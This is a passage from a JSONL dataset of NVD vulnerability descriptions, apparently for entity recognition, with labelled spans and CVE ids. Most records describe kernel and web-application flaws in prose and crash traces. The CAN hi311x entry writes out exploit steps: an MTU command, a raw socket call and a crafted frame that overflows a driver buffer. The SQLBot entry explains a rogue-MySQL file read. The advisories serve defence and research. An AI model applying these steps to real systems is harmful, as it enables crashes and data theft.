orphan\nsubvolume cleanup at a read-write mount.\n\nSo half-dropped subvolume should not exist after an RW mount, and\nbalance itself is also exclusive to subvolume cleanup, meaning we\nshouldn't hit a subvolume half-dropped during relocation.\n\nThe root cause is, there is no orphan item for this subvolume.\nIn fact there are 5 subvolumes from around 2021 that have the same\nproblem.\n\nIt looks like the original report has some older kernels running, and\ncaused those zombie subvolumes.\n\nThankfully upstream commit 8d488a8c7ba2 (\"btrfs: fix subvolume/snapshot\ndeletion not triggered on mount\") has long fixed the bug.\n\n[ENHANCEMENT]\nFor repairing such old fs, btrfs-progs will be enhanced.\n\nConsidering how delayed the problem will show up (at run delayed ref\ntime) and at that time we have to abort transaction already, it is too\nlate.\n\nInstead here we reject any half-dropped subvolume for reloc tree at the\nearliest time, preventing confusion and extra time wasted on debugging\nsimilar bugs.", "spans": {"FILEPATH: /fs/btrfs/extent-tree.c": [[920, 943]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-39738"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nhwmon: (nct6775) Fix crash in clear_caseopen\n\nPaweł Marciniak reports the following crash, observed when clearing\nthe chassis intrusion alarm.\n\nBUG: kernel NULL pointer dereference, address: 0000000000000028\nPGD 0 P4D 0\nOops: 0000 [#1] PREEMPT SMP PTI\nCPU: 3 PID: 4815 Comm: bash Tainted: G S                5.16.2-200.fc35.x86_64 #1\nHardware name: To Be Filled By O.E.M. To Be Filled By O.E.M./Z97 Extreme4, BIOS P2.60A 05/03/2018\nRIP: 0010:clear_caseopen+0x5a/0x120 [nct6775]\nCode: 68 70 e8 e9 32 b1 e3 85 c0 0f 85 d2 00 00 00 48 83 7c 24 ...\nRSP: 0018:ffffabcb02803dd8 EFLAGS: 00010246\nRAX: 0000000000000000 RBX: 0000000000000002 RCX: 0000000000000000\nRDX: ffff8e8808192880 RSI: 0000000000000000 RDI: ffff8e87c7509a68\nRBP: 0000000000000000 R08: 0000000000000001 R09: 000000000000000a\nR10: 000000000000000a R11: f000000000000000 R12: 000000000000001f\nR13: ffff8e87c7509828 R14: ffff8e87c7509a68 R15: ffff8e88494527a0\nFS:  00007f4db9151740(0000) GS:ffff8e8ebfec0000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 0000000000000028 CR3: 0000000166b66001 CR4: 00000000001706e0\nCall Trace:\n <TASK>\n kernfs_fop_write_iter+0x11c/0x1b0\n new_sync_write+0x10b/0x180\n vfs_write+0x209/0x2a0\n ksys_write+0x4f/0xc0\n do_syscall_64+0x3b/0x90\n entry_SYSCALL_64_after_hwframe+0x44/0xae\n\nThe problem is that the device passed to clear_caseopen() is the hwmon\ndevice, not the platform device, and the platform data is not set in the\nhwmon device. Store the pointer to sio_data in struct nct6775_data and\nget if from there if needed.", "spans": {"FILEPATH: /03/2018": [[492, 500]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: NULL pointer dereference": [[225, 249]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-48750"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/mlx5e: RX, Fix generating skb from non-linear xdp_buff for striding RQ\n\nXDP programs can change the layout of an xdp_buff through\nbpf_xdp_adjust_tail() and bpf_xdp_adjust_head(). Therefore, the driver\ncannot assume the size of the linear data area nor fragments. Fix the\nbug in mlx5 by generating skb according to xdp_buff after XDP programs\nrun.\n\nCurrently, when handling multi-buf XDP, the mlx5 driver assumes the\nlayout of an xdp_buff to be unchanged. That is, the linear data area\ncontinues to be empty and fragments remain the same. This may cause\nthe driver to generate erroneous skb or triggering a kernel\nwarning. When an XDP program added linear data through\nbpf_xdp_adjust_head(), the linear data will be ignored as\nmlx5e_build_linear_skb() builds an skb without linear data and then\npull data from fragments to fill the linear data area. When an XDP\nprogram has shrunk the non-linear data through bpf_xdp_adjust_tail(),\nthe delta passed to __pskb_pull_tail() may exceed the actual nonlinear\ndata size and trigger the BUG_ON in it.\n\nTo fix the issue, first record the original number of fragments. If the\nnumber of fragments changes after the XDP program runs, rewind the end\nfragment pointer by the difference and recalculate the truesize. Then,\nbuild the skb with the linear data area matching the xdp_buff. Finally,\nonly pull data in if there is non-linear data and fill the linear part\nup to 256 bytes.", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-40350"}}
{"text": "ZoneMinder is a free, open source Closed-circuit television software application for Linux which supports IP, USB and Analog cameras. Versions prior to 1.36.33 and 1.37.33 are affected by a SQL Injection vulnerability. The (blind) SQL Injection vulnerability is present within the `filter[Query][terms][0][attr]` query string parameter of the  `/zm/index.php` endpoint. A user with the View or Edit permissions of Events may execute arbitrary SQL. The resulting impact can include unauthorized data access (and modification), authentication and/or authorization bypass, and remote code execution.", "spans": {"FILEPATH: /zm/index.php": [[345, 358]], "SYSTEM: Linux": [[85, 90]], "VULNERABILITY: remote code execution": [[574, 595]], "VULNERABILITY: authorization bypass": [[548, 568]], "VULNERABILITY: SQL Injection": [[190, 203], [231, 244]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-26034"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ncan: hi311x: populate ndo_change_mtu() to prevent buffer overflow\n\nSending an PF_PACKET allows to bypass the CAN framework logic and to\ndirectly reach the xmit() function of a CAN driver. The only check\nwhich is performed by the PF_PACKET framework is to make sure that\nskb->len fits the interface's MTU.\n\nUnfortunately, because the sun4i_can driver does not populate its\nnet_device_ops->ndo_change_mtu(), it is possible for an attacker to\nconfigure an invalid MTU by doing, for example:\n\n  $ ip link set can0 mtu 9999\n\nAfter doing so, the attacker could open a PF_PACKET socket using the\nETH_P_CANXL protocol:\n\n\tsocket(PF_PACKET, SOCK_RAW, htons(ETH_P_CANXL))\n\nto inject a malicious CAN XL frames. For example:\n\n\tstruct canxl_frame frame = {\n\t\t.flags = 0xff,\n\t\t.len = 2048,\n\t};\n\nThe CAN drivers' xmit() function are calling can_dev_dropped_skb() to\ncheck that the skb is valid, unfortunately under above conditions, the\nmalicious packet is able to go through can_dev_dropped_skb() checks:\n\n  1. the skb->protocol is set to ETH_P_CANXL which is valid (the\n     function does not check the actual device capabilities).\n\n  2. the length is a valid CAN XL length.\n\nAnd so, hi3110_hard_start_xmit() receives a CAN XL frame which it is\nnot able to correctly handle and will thus misinterpret it as a CAN\nframe. The driver will consume frame->len as-is with no further\nchecks.\n\nThis can result in a buffer overflow later on in hi3110_hw_tx() on\nthis line:\n\n\tmemcpy(buf + HI3110_FIFO_EXT_DATA_OFF,\n\t       frame->data, frame->len);\n\nHere, frame->len corresponds to the flags field of the CAN XL frame.\nIn our previous example, we set canxl_frame->flags to 0xff. Because\nthe maximum expected length is 8, a buffer overflow of 247 bytes\noccurs!\n\nPopulate net_device_ops->ndo_change_mtu() to ensure that the\ninterface's MTU can not be set to anything bigger than CAN_MTU. By\nfixing the root cause, this prevents the buffer overflow.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: buffer overflow": [[119, 134], [1462, 1477], [1768, 1783], [1975, 1990]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-39987"}}
{"text": "Vulnerability in the Oracle Java SE, Oracle GraalVM Enterprise Edition, Oracle GraalVM for JDK product of Oracle Java SE (component: Libraries).  Supported versions that are affected are Oracle Java SE: 8u371, 8u371-perf, 11.0.19, 17.0.7, 20.0.1; Oracle GraalVM Enterprise Edition: 20.3.10, 21.3.6, 22.3.2; Oracle GraalVM for JDK: 17.0.7 and  20.0.1. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM Enterprise Edition, Oracle GraalVM for JDK.  Successful attacks of this vulnerability can result in  unauthorized update, insert or delete access to some of Oracle Java SE, Oracle GraalVM Enterprise Edition, Oracle GraalVM for JDK accessible data. Note: This vulnerability can be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. This vulnerability also applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. CVSS 3.1 Base Score 3.7 (Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N).", "spans": {"SYSTEM: Java": [[28, 32], [113, 117], [194, 198], [482, 486], [670, 674], [934, 938], [991, 995], [1032, 1036], [1137, 1141]], "ORGANIZATION: Oracle": [[21, 27], [37, 43], [72, 78], [106, 112], [187, 193], [247, 253], [307, 313], [475, 481], [491, 497], [526, 532], [663, 669], [679, 685], [714, 720]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-22049"}}
{"text": "SQLBot is an intelligent data query system based on a large language model and RAG. Versions prior to 1.7.0 contain a Server-Side Request Forgery (SSRF) vulnerability that allows an attacker to retrieve arbitrary system and application files from the server. An attacker can exploit the /api/v1/datasource/check endpoint by configuring a forged MySQL data source with a malicious parameter extraJdbc=\"local_infile=1\". When the SQLBot backend attempts to verify the connectivity of this data source, an attacker-controlled Rogue MySQL server issues a malicious LOAD DATA LOCAL INFILE command during the MySQL handshake. This forces the target server to read arbitrary files from its local filesystem (such as /etc/passwd or configuration files) and transmit the contents back to the attacker. This issue was fixed in version 1.7.0.", "spans": {"FILEPATH: /api/v1/datasource/check": [[287, 311]], "FILEPATH: /etc/passwd": [[708, 719]], "SYSTEM: MySQL": [[345, 350], [528, 533], [602, 607]], "VULNERABILITY: Server-Side Request Forgery": [[118, 145]], "VULNERABILITY: SSRF": [[147, 151]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-32949"}}
{"text": "Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Filters). The supported version that is affected is 8.5.4. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Outside In Technology. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Outside In Technology accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Outside In Technology. Note: Outside In Technology is a suite of software development kits (SDKs). The protocol and CVSS score depend on the software that uses the Outside In Technology code. The CVSS score assumes that the software passes data received over a network directly to Outside In Technology code, but if data is not received over a network the CVSS score may be lower. CVSS 3.0 Base Score 6.5 (Integrity and Availability impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L).", "spans": {"ORGANIZATION: Oracle": [[21, 27], [61, 67], [276, 282], [417, 423], [541, 547]], "VULNERABILITY: denial of service": [[506, 523]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-2541"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nprocfs: avoid fetching build ID while holding VMA lock\n\nFix PROCMAP_QUERY to fetch optional build ID only after dropping mmap_lock\nor per-VMA lock, whichever was used to lock VMA under question, to avoid\ndeadlock reported by syzbot:\n\n -> #1 (&mm->mmap_lock){++++}-{4:4}:\n        __might_fault+0xed/0x170\n        _copy_to_iter+0x118/0x1720\n        copy_page_to_iter+0x12d/0x1e0\n        filemap_read+0x720/0x10a0\n        blkdev_read_iter+0x2b5/0x4e0\n        vfs_read+0x7f4/0xae0\n        ksys_read+0x12a/0x250\n        do_syscall_64+0xcb/0xf80\n        entry_SYSCALL_64_after_hwframe+0x77/0x7f\n\n -> #0 (&sb->s_type->i_mutex_key#8){++++}-{4:4}:\n        __lock_acquire+0x1509/0x26d0\n        lock_acquire+0x185/0x340\n        down_read+0x98/0x490\n        blkdev_read_iter+0x2a7/0x4e0\n        __kernel_read+0x39a/0xa90\n        freader_fetch+0x1d5/0xa80\n        __build_id_parse.isra.0+0xea/0x6a0\n        do_procmap_query+0xd75/0x1050\n        procfs_procmap_ioctl+0x7a/0xb0\n        __x64_sys_ioctl+0x18e/0x210\n        do_syscall_64+0xcb/0xf80\n        entry_SYSCALL_64_after_hwframe+0x77/0x7f\n\n other info that might help us debug this:\n\n  Possible unsafe locking scenario:\n\n        CPU0                    CPU1\n        ----                    ----\n   rlock(&mm->mmap_lock);\n                                lock(&sb->s_type->i_mutex_key#8);\n                                lock(&mm->mmap_lock);\n   rlock(&sb->s_type->i_mutex_key#8);\n\n  *** DEADLOCK ***\n\nThis seems to be exacerbated (as we haven't seen these syzbot reports\nbefore that) by the recent:\n\n\t777a8560fd29 (\"lib/buildid: use __kernel_read() for sleepable context\")\n\nTo make this safe, we need to grab file refcount while VMA is still locked, but\nother than that everything is pretty straightforward. Internal build_id_parse()\nAPI assumes VMA is passed, but it only needs the underlying file reference, so\njust add another variant build_id_parse_file() that expects file passed\ndirectly.\n\n[akpm@linux-foundation.org: fix up kerneldoc]", "spans": {"DOMAIN: linux-foundation.org": [[2012, 2032]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-23199"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/tunnel: wait until all sk_user_data reader finish before releasing the sock\n\nThere is a race condition in vxlan that when deleting a vxlan device\nduring receiving packets, there is a possibility that the sock is\nreleased after getting vxlan_sock vs from sk_user_data. Then in\nlater vxlan_ecn_decapsulate(), vxlan_get_sk_family() we will got\nNULL pointer dereference. e.g.\n\n   #0 [ffffa25ec6978a38] machine_kexec at ffffffff8c669757\n   #1 [ffffa25ec6978a90] __crash_kexec at ffffffff8c7c0a4d\n   #2 [ffffa25ec6978b58] crash_kexec at ffffffff8c7c1c48\n   #3 [ffffa25ec6978b60] oops_end at ffffffff8c627f2b\n   #4 [ffffa25ec6978b80] page_fault_oops at ffffffff8c678fcb\n   #5 [ffffa25ec6978bd8] exc_page_fault at ffffffff8d109542\n   #6 [ffffa25ec6978c00] asm_exc_page_fault at ffffffff8d200b62\n      [exception RIP: vxlan_ecn_decapsulate+0x3b]\n      RIP: ffffffffc1014e7b  RSP: ffffa25ec6978cb0  RFLAGS: 00010246\n      RAX: 0000000000000008  RBX: ffff8aa000888000  RCX: 0000000000000000\n      RDX: 000000000000000e  RSI: ffff8a9fc7ab803e  RDI: ffff8a9fd1168700\n      RBP: ffff8a9fc7ab803e   R8: 0000000000700000   R9: 00000000000010ae\n      R10: ffff8a9fcb748980  R11: 0000000000000000  R12: ffff8a9fd1168700\n      R13: ffff8aa000888000  R14: 00000000002a0000  R15: 00000000000010ae\n      ORIG_RAX: ffffffffffffffff  CS: 0010  SS: 0018\n   #7 [ffffa25ec6978ce8] vxlan_rcv at ffffffffc10189cd [vxlan]\n   #8 [ffffa25ec6978d90] udp_queue_rcv_one_skb at ffffffff8cfb6507\n   #9 [ffffa25ec6978dc0] udp_unicast_rcv_skb at ffffffff8cfb6e45\n  #10 [ffffa25ec6978dc8] __udp4_lib_rcv at ffffffff8cfb8807\n  #11 [ffffa25ec6978e20] ip_protocol_deliver_rcu at ffffffff8cf76951\n  #12 [ffffa25ec6978e48] ip_local_deliver at ffffffff8cf76bde\n  #13 [ffffa25ec6978ea0] __netif_receive_skb_one_core at ffffffff8cecde9b\n  #14 [ffffa25ec6978ec8] process_backlog at ffffffff8cece139\n  #15 [ffffa25ec6978f00] __napi_poll at ffffffff8ceced1a\n  #16 [ffffa25ec6978f28] net_rx_action at ffffffff8cecf1f3\n  #17 [ffffa25ec6978fa0] __softirqentry_text_start at ffffffff8d4000ca\n  #18 [ffffa25ec6978ff0] do_softirq at ffffffff8c6fbdc3\n\nReproducer: https://github.com/Mellanox/ovs-tests/blob/master/test-ovs-vxlan-remove-tunnel-during-traffic.sh\n\nFix this by waiting for all sk_user_data reader to finish before\nreleasing the sock.", "spans": {"URL: https://github.com/Mellanox/ovs-tests/blob/master/test-ovs-vxlan-remove-tunnel-during-traffic.sh": [[2179, 2275]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: NULL pointer dereference": [[414, 438]], "VULNERABILITY: race condition": [[161, 175]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-50405"}}
{"text": "A vulnerability has been identified in Cerberus PRO EN Engineering Tool (All versions), Cerberus PRO EN Fire Panel FC72x IP6 (All versions), Cerberus PRO EN Fire Panel FC72x IP7 (All versions), Cerberus PRO EN Fire Panel FC72x IP8 (All versions < IP8 SR4), Cerberus PRO EN X200 Cloud Distribution IP7 (All versions), Cerberus PRO EN X200 Cloud Distribution IP8 (All versions < V4.3.5618), Cerberus PRO EN X300 Cloud Distribution IP7 (All versions), Cerberus PRO EN X300 Cloud Distribution IP8 (All versions < V4.3.5617), Cerberus PRO UL Compact Panel FC922/924 (All versions < MP4), Cerberus PRO UL Engineering Tool (All versions < MP4), Cerberus PRO UL X300 Cloud Distribution (All versions < V4.3.0001), Desigo Fire Safety UL Compact Panel FC2025/2050 (All versions < MP4), Desigo Fire Safety UL Engineering Tool (All versions < MP4), Desigo Fire Safety UL X300 Cloud Distribution (All versions < V4.3.0001), Sinteso FS20 EN Engineering Tool (All versions), Sinteso FS20 EN Fire Panel FC20 MP6 (All versions), Sinteso FS20 EN Fire Panel FC20 MP7 (All versions), Sinteso FS20 EN Fire Panel FC20 MP8 (All versions < MP8 SR4), Sinteso FS20 EN X200 Cloud Distribution MP7 (All versions), Sinteso FS20 EN X200 Cloud Distribution MP8 (All versions < V4.3.5618), Sinteso FS20 EN X300 Cloud Distribution MP7 (All versions), Sinteso FS20 EN X300 Cloud Distribution MP8 (All versions < V4.3.5617), Sinteso Mobile (All versions). The network communication library in affected systems improperly handles memory buffers when parsing X.509 certificates.\r\nThis could allow an unauthenticated remote attacker to crash the network service.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-22041"}}
{"text": "SharpZipLib (or #ziplib) is a Zip, GZip, Tar and BZip2 library. Starting version 1.0.0 and prior to version 1.3.3, a check was added if the destination file is under a destination directory. However, it is not enforced that `_baseDirectory` ends with slash. If the _baseDirectory is not slash terminated like `/home/user/dir` it is possible to create a file with a name thats begins as the destination directory one level up from the directory, i.e. `/home/user/dir.sh`. Because of the file name and destination directory constraints, the arbitrary file creation impact is limited and depends on the use case. Version 1.3.3 fixed this vulnerability.", "spans": {"FILEPATH: /home/user/dir": [[310, 324]], "FILEPATH: /home/user/dir.sh": [[451, 468]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-32842"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nRDMA/rxe: Fix null deref on srq->rq.queue after resize failure\n\nA NULL pointer dereference can occur in rxe_srq_chk_attr() when\nibv_modify_srq() is invoked twice in succession under certain error\nconditions. The first call may fail in rxe_queue_resize(), which leads\nrxe_srq_from_attr() to set srq->rq.queue = NULL. The second call then\ntriggers a crash (null deref) when accessing\nsrq->rq.queue->buf->index_mask.\n\nCall Trace:\n<TASK>\nrxe_modify_srq+0x170/0x480 [rdma_rxe]\n? __pfx_rxe_modify_srq+0x10/0x10 [rdma_rxe]\n? uverbs_try_lock_object+0x4f/0xa0 [ib_uverbs]\n? rdma_lookup_get_uobject+0x1f0/0x380 [ib_uverbs]\nib_uverbs_modify_srq+0x204/0x290 [ib_uverbs]\n? __pfx_ib_uverbs_modify_srq+0x10/0x10 [ib_uverbs]\n? tryinc_node_nr_active+0xe6/0x150\n? uverbs_fill_udata+0xed/0x4f0 [ib_uverbs]\nib_uverbs_handler_UVERBS_METHOD_INVOKE_WRITE+0x2c0/0x470 [ib_uverbs]\n? __pfx_ib_uverbs_handler_UVERBS_METHOD_INVOKE_WRITE+0x10/0x10 [ib_uverbs]\n? uverbs_fill_udata+0xed/0x4f0 [ib_uverbs]\nib_uverbs_run_method+0x55a/0x6e0 [ib_uverbs]\n? __pfx_ib_uverbs_handler_UVERBS_METHOD_INVOKE_WRITE+0x10/0x10 [ib_uverbs]\nib_uverbs_cmd_verbs+0x54d/0x800 [ib_uverbs]\n? __pfx_ib_uverbs_cmd_verbs+0x10/0x10 [ib_uverbs]\n? __pfx___raw_spin_lock_irqsave+0x10/0x10\n? __pfx_do_vfs_ioctl+0x10/0x10\n? ioctl_has_perm.constprop.0.isra.0+0x2c7/0x4c0\n? __pfx_ioctl_has_perm.constprop.0.isra.0+0x10/0x10\nib_uverbs_ioctl+0x13e/0x220 [ib_uverbs]\n? __pfx_ib_uverbs_ioctl+0x10/0x10 [ib_uverbs]\n__x64_sys_ioctl+0x138/0x1c0\ndo_syscall_64+0x82/0x250\n? fdget_pos+0x58/0x4c0\n? ksys_write+0xf3/0x1c0\n? __pfx_ksys_write+0x10/0x10\n? do_syscall_64+0xc8/0x250\n? __pfx_vm_mmap_pgoff+0x10/0x10\n? fget+0x173/0x230\n? fput+0x2a/0x80\n? ksys_mmap_pgoff+0x224/0x4c0\n? do_syscall_64+0xc8/0x250\n? do_user_addr_fault+0x37b/0xfe0\n? clear_bhb_loop+0x50/0xa0\n? clear_bhb_loop+0x50/0xa0\n? clear_bhb_loop+0x50/0xa0\nentry_SYSCALL_64_after_hwframe+0x76/0x7e", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: NULL pointer dereference": [[135, 159]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-68379"}}
{"text": "Vulnerability in the Oracle Access Manager product of Oracle Fusion Middleware (component: Authentication Engine). Supported versions that are affected are 11.1.2.3.0 and 12.2.1.3.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Access Manager. Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Access Manager accessible data as well as unauthorized read access to a subset of Oracle Access Manager accessible data. CVSS 3.0 Base Score 4.6 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N).", "spans": {"IP_ADDRESS: 11.1.2.3": [[156, 164]], "IP_ADDRESS: 12.2.1.3": [[171, 179]], "ORGANIZATION: Oracle": [[21, 27], [54, 60], [290, 296], [508, 514], [597, 603]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-2740"}}
{"text": "Vulnerability in the Oracle Email Center product of Oracle E-Business Suite (component: Message Display). Supported versions that are affected are 12.1.1-12.1.3 and 12.2.3-12.2.9. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTPS to compromise Oracle Email Center. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Email Center, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Email Center accessible data as well as unauthorized update, insert or delete access to some of Oracle Email Center accessible data. CVSS 3.0 Base Score 8.2 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N).", "spans": {"ORGANIZATION: Oracle": [[21, 27], [52, 58], [289, 295], [427, 433], [620, 626], [723, 729]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-2672"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: do not write to msg_get_inq in callee\n\nNULL pointer dereference fix.\n\nmsg_get_inq is an input field from caller to callee. Don't set it in\nthe callee, as the caller may not clear it on struct reuse.\n\nThis is a kernel-internal variant of msghdr only, and the only user\ndoes reinitialize the field. So this is not critical for that reason.\nBut it is more robust to avoid the write, and slightly simpler code.\nAnd it fixes a bug, see below.\n\nCallers set msg_get_inq to request the input queue length to be\nreturned in msg_inq. This is equivalent to but independent from the\nSO_INQ request to return that same info as a cmsg (tp->recvmsg_inq).\nTo reduce branching in the hot path the second also sets the msg_inq.\nThat is WAI.\n\nThis is a fix to commit 4d1442979e4a (\"af_unix: don't post cmsg for\nSO_INQ unless explicitly asked for\"), which fixed the inverse.\n\nAlso avoid NULL pointer dereference in unix_stream_read_generic if\nstate->msg is NULL and msg->msg_get_inq is written. A NULL state->msg\ncan happen when splicing as of commit 2b514574f7e8 (\"net: af_unix:\nimplement splice for stream af_unix sockets\").\n\nAlso collapse two branches using a bitwise or.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: NULL pointer dereference": [[113, 137], [941, 965]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-22983"}}
{"text": "Postiz is an AI social media scheduling tool. Prior to version 2.21.3, the GET /public/stream endpoint in PublicController accepts a user-supplied url query parameter and proxies the full HTTP response back to the caller. The only validation is url.endsWith('mp4'), which is trivially bypassable by appending .mp4 as a query parameter value or URL fragment. The endpoint requires no authentication and has no SSRF protections, allowing an unauthenticated attacker to read responses from internal services, cloud metadata endpoints, and other network-internal resources. This issue has been patched in version 2.21.3.", "spans": {"FILEPATH: /public/stream": [[79, 93]], "VULNERABILITY: SSRF": [[409, 413]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-34577"}}
{"text": "ApostropheCMS is an open-source Node.js content management system. Versions 4.28.0 and prior contain an authorization bypass vulnerability in the choices and counts query parameters of the REST API, where these query builders execute MongoDB distinct() operations that bypass the publicApiProjection restrictions intended to limit which fields are exposed publicly. The choices and counts parameters are processed via applyBuildersSafely before the projection is applied, and MongoDB's distinct operation does not respect projections, returning all distinct values directly. The results are returned in the API response without any filtering against publicApiProjection or removeForbiddenFields. An unauthenticated attacker can extract all distinct field values for any schema field type that has a registered query builder, including string, integer, float, select, boolean, date, slug, and relationship fields. Fields protected with viewPermission are similarly exposed, and the counts variant additionally reveals how many documents have each distinct value. Both the piece-type and page REST APIs are affected. This issue has been fixed in version 4.29.0.", "spans": {"FILEPATH: Node.js": [[32, 39]], "SYSTEM: MongoDB": [[234, 241], [476, 483]], "VULNERABILITY: authorization bypass": [[104, 124]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-39857"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: nl80211: fix NL80211_ATTR_MLO_LINK_ID off-by-one\n\nSince the netlink attribute range validation provides inclusive\nchecking, the *max* of attribute NL80211_ATTR_MLO_LINK_ID should be\nIEEE80211_MLD_MAX_NUM_LINKS - 1 otherwise causing an off-by-one.\n\nOne crash stack for demonstration:\n==================================================================\nBUG: KASAN: wild-memory-access in ieee80211_tx_control_port+0x3b6/0xca0 net/mac80211/tx.c:5939\nRead of size 6 at addr 001102080000000c by task fuzzer.386/9508\n\nCPU: 1 PID: 9508 Comm: syz.1.386 Not tainted 6.1.70 #2\nCall Trace:\n <TASK>\n __dump_stack lib/dump_stack.c:88 [inline]\n dump_stack_lvl+0x177/0x231 lib/dump_stack.c:106\n print_report+0xe0/0x750 mm/kasan/report.c:398\n kasan_report+0x139/0x170 mm/kasan/report.c:495\n kasan_check_range+0x287/0x290 mm/kasan/generic.c:189\n memcpy+0x25/0x60 mm/kasan/shadow.c:65\n ieee80211_tx_control_port+0x3b6/0xca0 net/mac80211/tx.c:5939\n rdev_tx_control_port net/wireless/rdev-ops.h:761 [inline]\n nl80211_tx_control_port+0x7b3/0xc40 net/wireless/nl80211.c:15453\n genl_family_rcv_msg_doit+0x22e/0x320 net/netlink/genetlink.c:756\n genl_family_rcv_msg net/netlink/genetlink.c:833 [inline]\n genl_rcv_msg+0x539/0x740 net/netlink/genetlink.c:850\n netlink_rcv_skb+0x1de/0x420 net/netlink/af_netlink.c:2508\n genl_rcv+0x24/0x40 net/netlink/genetlink.c:861\n netlink_unicast_kernel net/netlink/af_netlink.c:1326 [inline]\n netlink_unicast+0x74b/0x8c0 net/netlink/af_netlink.c:1352\n netlink_sendmsg+0x882/0xb90 net/netlink/af_netlink.c:1874\n sock_sendmsg_nosec net/socket.c:716 [inline]\n __sock_sendmsg net/socket.c:728 [inline]\n ____sys_sendmsg+0x5cc/0x8f0 net/socket.c:2499\n ___sys_sendmsg+0x21c/0x290 net/socket.c:2553\n __sys_sendmsg net/socket.c:2582 [inline]\n __do_sys_sendmsg net/socket.c:2591 [inline]\n __se_sys_sendmsg+0x19e/0x270 net/socket.c:2589\n do_syscall_x64 arch/x86/entry/common.c:51 [inline]\n do_syscall_64+0x45/0x90 arch/x86/entry/common.c:81\n entry_SYSCALL_64_after_hwframe+0x63/0xcd\n\nUpdate the policy to ensure correct validation.", "spans": {"FILEPATH: /mac80211/tx.c": [[500, 514], [982, 996]], "FILEPATH: /kasan/report.c": [[779, 794], [827, 842]], "FILEPATH: /kasan/generic.c": [[880, 896]], "FILEPATH: /kasan/shadow.c": [[921, 936]], "FILEPATH: /wireless/rdev-ops.h": [[1027, 1047]], "FILEPATH: /wireless/nl80211.c": [[1101, 1120]], "FILEPATH: /netlink/genetlink.c": [[1168, 1188], [1217, 1237], [1280, 1300], [1387, 1407]], "FILEPATH: /netlink/af_netlink.c": [[1337, 1358], [1439, 1460], [1507, 1528], [1566, 1587]], "FILEPATH: /x86/entry/common.c": [[1929, 1948], [1990, 2009]], "FILEPATH: dump_stack.c": [[678, 690], [735, 747]], "FILEPATH: socket.c": [[1617, 1625], [1659, 1667], [1714, 1722], [1760, 1768], [1793, 1801], [1838, 1846], [1895, 1903]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-56663"}}
{"text": "OpenProject is an open-source, web-based project management software. Users of OpenProject versions prior to 16.6.5 and 17.0.1 have the ability to view and end their active sessions via Account Settings → Sessions. When deleting a session, it was not properly checked if the session belongs to the user. As the ID that is used to identify these session objects use incremental integers, users could iterate requests using `DELETE /my/sessions/:id` and thus unauthenticate other users. Users did not have access to any sensitive information (like browser identifier, IP addresses, etc) of other users that are stored in the session. The problem was patched in OpenProject versions 16.6.5 and 17.0.1. No known workarounds are available as this does not require any permissions or other that can temporarily be disabled.", "spans": {"FILEPATH: /my/sessions": [[430, 442]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-23646"}}
